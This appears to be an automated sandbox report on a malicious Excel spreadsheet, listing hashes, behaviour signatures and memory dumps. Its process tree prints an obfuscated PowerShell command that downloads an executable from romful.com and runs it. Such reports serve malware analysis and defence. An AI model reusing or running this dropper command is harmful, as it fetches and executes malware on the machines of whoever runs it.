Analysis

  • max time kernel
    19s
  • max time network
    16s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    22-07-2024 22:23

General

  • Target

    4eebad4e1bd069ab424f66d5f87f88ccd3cf9637071bd2937c10e6a2b34d8082.xls

  • Size

    72KB

  • MD5

    7028a5d58b15ac3cd43f522747a241aa

  • SHA1

    6efd62bc2b2d29df559166c4a9e1855a82936415

  • SHA256

    4eebad4e1bd069ab424f66d5f87f88ccd3cf9637071bd2937c10e6a2b34d8082

  • SHA512

    81adcdb6e3e153c2e75f92937e9ca5f4ff46aa8ef513ce8f70312e2126982688a835f6b01f95c5bfbdc5ce83c6c4f362491bceeb5474f98d0501a7f9e48dce0d

  • SSDEEP

    1536:5aOadvxHlcaQPy0iWYOcG4BDhnxD7oOExxEtjPOtioVjDGUU1qfDlaGGx+cL2QnZ:5aOadvxHlcaAy0iWYOcG4BDhnxD7oOEe

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\4eebad4e1bd069ab424f66d5f87f88ccd3cf9637071bd2937c10e6a2b34d8082.xls
    1⤵
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2232
    • C:\Windows\SysWOW64\CMd.exe
      CMd.exe /c "p^Ow^ERS^hel^l^.e^x^e^ -nO^l -No^Ni^Nt^ -W^InDO^ws^ 1 -NoprO^FIle^ -eX^Ec^U B^Ypa^S^s $fos=''',''';$hit='dfil';$fd=');sta';$dr='(ne';$ed='ject ';$ipo='syst';$kos='t.we';$rem='ent).do';$sad='wnloa';$kp='w-ob';$nim='e(''';$mo='De';$uy='fa';$ji='ult.ex';$pol='em.ne';$oe='e''';$jik='rt-pro';$naw='cess ''';$lim='bcli';Invoke-Expression($dr+$kp+$ed+$ipo+$pol+$kos+$lim+$rem+$sad+$hit+$nim+'http://romful.com/nero'+$fos+$mo+$uy+$ji+$oe+$fd+$jik+$naw+$mo+$uy+$ji+$oe)"
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2532
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        pOwERShell.exe -nOl -NoNiNt -WInDOws 1 -NoprOFIle -eXEcU BYpaSs $fos=''',''';$hit='dfil';$fd=');sta';$dr='(ne';$ed='ject ';$ipo='syst';$kos='t.we';$rem='ent).do';$sad='wnloa';$kp='w-ob';$nim='e(''';$mo='De';$uy='fa';$ji='ult.ex';$pol='em.ne';$oe='e''';$jik='rt-pro';$naw='cess ''';$lim='bcli';Invoke-Expression($dr+$kp+$ed+$ipo+$pol+$kos+$lim+$rem+$sad+$hit+$nim+'http://romful.com/nero'+$fos+$mo+$uy+$ji+$oe+$fd+$jik+$naw+$mo+$uy+$ji+$oe)
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1944

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2232-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2232-1-0x000000007292D000-0x0000000072938000-memory.dmp

    Filesize

    44KB

  • memory/2232-47-0x0000000006560000-0x0000000006660000-memory.dmp

    Filesize

    1024KB

  • memory/2232-89-0x0000000006560000-0x0000000006660000-memory.dmp

    Filesize

    1024KB

  • memory/2232-88-0x0000000006560000-0x0000000006660000-memory.dmp

    Filesize

    1024KB

  • memory/2232-87-0x0000000006560000-0x0000000006660000-memory.dmp

    Filesize

    1024KB

  • memory/2232-86-0x0000000006560000-0x0000000006660000-memory.dmp

    Filesize

    1024KB

  • memory/2232-85-0x0000000006560000-0x0000000006660000-memory.dmp

    Filesize

    1024KB

  • memory/2232-48-0x0000000006560000-0x0000000006660000-memory.dmp

    Filesize

    1024KB

  • memory/2232-92-0x000000007292D000-0x0000000072938000-memory.dmp

    Filesize

    44KB

  • memory/2232-93-0x0000000006560000-0x0000000006660000-memory.dmp

    Filesize

    1024KB